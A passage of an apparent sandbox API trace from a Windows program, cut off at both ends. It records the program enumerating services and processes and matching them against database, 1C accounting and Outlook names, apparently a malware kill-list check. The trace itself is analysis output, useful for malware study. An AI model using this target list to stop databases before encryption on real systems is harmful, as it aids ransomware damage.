(hObject=0x320) returned 1 [0170.112] Sleep (dwMilliseconds=0x1f4) [0170.644] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0170.644] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0170.644] GetLastError () returned 0xea [0170.644] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0170.644] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0170.645] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0170.645] lstrlenW (lpString="Appinfo") returned 7 [0170.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0170.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0170.645] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0170.645] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0170.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0170.645] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0170.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0170.645] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0170.646] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0170.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0170.646] lstrlenW (lpString="AudioSrv") returned 8 [0170.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0170.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0170.646] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0170.646] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0170.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0170.646] lstrlenW (lpString="BFE") returned 3 [0170.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0170.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0170.646] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0170.646] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0170.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0170.646] lstrlenW (lpString="CryptSvc") returned 8 [0170.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0170.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0170.646] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0170.646] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0170.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0170.646] lstrlenW (lpString="CscService") returned 10 [0170.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0170.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0170.647] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0170.647] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0170.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0170.647] lstrlenW (lpString="DcomLaunch") returned 10 [0170.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0170.647] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0170.647] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0170.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0170.647] lstrlenW (lpString="Dhcp") returned 4 [0170.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0170.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0170.647] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0170.647] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0170.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0170.647] lstrlenW (lpString="Dnscache") returned 8 [0170.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0170.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0170.647] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0170.647] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0170.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0170.647] lstrlenW (lpString="DPS") returned 3 [0170.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0170.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0170.647] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0170.647] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0170.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0170.648] lstrlenW (lpString="eventlog") returned 8 [0170.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0170.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0170.648] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0170.648] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0170.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0170.648] lstrlenW (lpString="EventSystem") returned 11 [0170.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0170.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0170.648] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0170.648] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0170.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0170.648] lstrlenW (lpString="gpsvc") returned 5 [0170.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0170.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0170.648] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0170.648] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0170.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0170.648] lstrlenW (lpString="iphlpsvc") returned 8 [0170.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0170.648] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0170.648] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0170.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0170.648] lstrlenW (lpString="LanmanServer") returned 12 [0170.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0170.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0170.648] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0170.649] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0170.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0170.649] lstrlenW (lpString="LanmanWorkstation") returned 17 [0170.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.649] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0170.649] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0170.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0170.649] lstrlenW (lpString="lmhosts") returned 7 [0170.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0170.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0170.649] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0170.649] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0170.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0170.649] lstrlenW (lpString="MMCSS") returned 5 [0170.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0170.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0170.649] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0170.649] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0170.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0170.649] lstrlenW (lpString="MpsSvc") returned 6 [0170.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0170.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0170.649] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0170.649] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0170.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0170.649] lstrlenW (lpString="Netman") returned 6 [0170.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0170.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0170.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0170.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0170.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0170.650] lstrlenW (lpString="netprofm") returned 8 [0170.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0170.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0170.650] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0170.650] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0170.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0170.650] lstrlenW (lpString="NlaSvc") returned 6 [0170.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0170.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0170.650] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0170.650] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0170.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0170.650] lstrlenW (lpString="nsi") returned 3 [0170.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0170.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0170.650] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0170.650] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0170.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0170.650] lstrlenW (lpString="PcaSvc") returned 6 [0170.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0170.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0170.650] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0170.650] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0170.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0170.650] lstrlenW (lpString="PlugPlay") returned 8 [0170.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0170.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0170.651] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0170.651] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0170.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0170.651] lstrlenW (lpString="Power") returned 5 [0170.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0170.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0170.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0170.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0170.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0170.651] lstrlenW (lpString="ProfSvc") returned 7 [0170.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0170.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0170.651] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0170.651] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0170.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0170.651] lstrlenW (lpString="RpcEptMapper") returned 12 [0170.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.651] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0170.651] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0170.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0170.651] lstrlenW (lpString="RpcSs") returned 5 [0170.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0170.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0170.651] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0170.651] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0170.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0170.652] lstrlenW (lpString="SamSs") returned 5 [0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0170.652] lstrlenW (lpString="Schedule") returned 8 [0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0170.652] lstrlenW (lpString="SENS") returned 4 [0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0170.652] lstrlenW (lpString="ShellHWDetection") returned 16 [0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0170.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0170.652] lstrlenW (lpString="Spooler") returned 7 [0170.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0170.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0170.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0170.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0170.653] lstrlenW (lpString="SysMain") returned 7 [0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0170.653] lstrlenW (lpString="Themes") returned 6 [0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0170.653] lstrlenW (lpString="TrkWks") returned 6 [0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0170.653] lstrlenW (lpString="UxSms") returned 5 [0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0170.653] lstrlenW (lpString="WdiServiceHost") returned 14 [0170.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0170.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0170.653] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0170.653] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0170.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0170.654] lstrlenW (lpString="WdiSystemHost") returned 13 [0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0170.654] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0170.654] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0170.654] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0170.654] lstrlenW (lpString="Winmgmt") returned 7 [0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0170.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0170.654] lstrlenW (lpString="WPDBusEnum") returned 10 [0170.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0170.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0170.654] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0170.654] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0170.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0170.654] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0170.654] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0170.656] Process32FirstW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.657] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0170.657] lstrlenW (lpString="System") returned 6 [0170.657] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0170.657] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0170.657] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0170.657] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0170.657] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0170.657] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0170.657] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0170.657] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0170.657] lstrlenW (lpString="smss.exe") returned 8 [0170.657] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0170.658] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0170.658] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0170.658] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0170.658] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0170.658] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0170.658] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0170.658] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.658] lstrlenW (lpString="csrss.exe") returned 9 [0170.658] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0170.658] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0170.658] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0170.658] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0170.658] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0170.658] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0170.658] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0170.658] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0170.659] lstrlenW (lpString="wininit.exe") returned 11 [0170.659] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0170.659] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0170.659] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0170.659] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0170.659] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0170.659] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0170.659] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0170.659] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.659] lstrlenW (lpString="csrss.exe") returned 9 [0170.659] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0170.659] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0170.659] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0170.659] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0170.659] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0170.659] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0170.660] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: 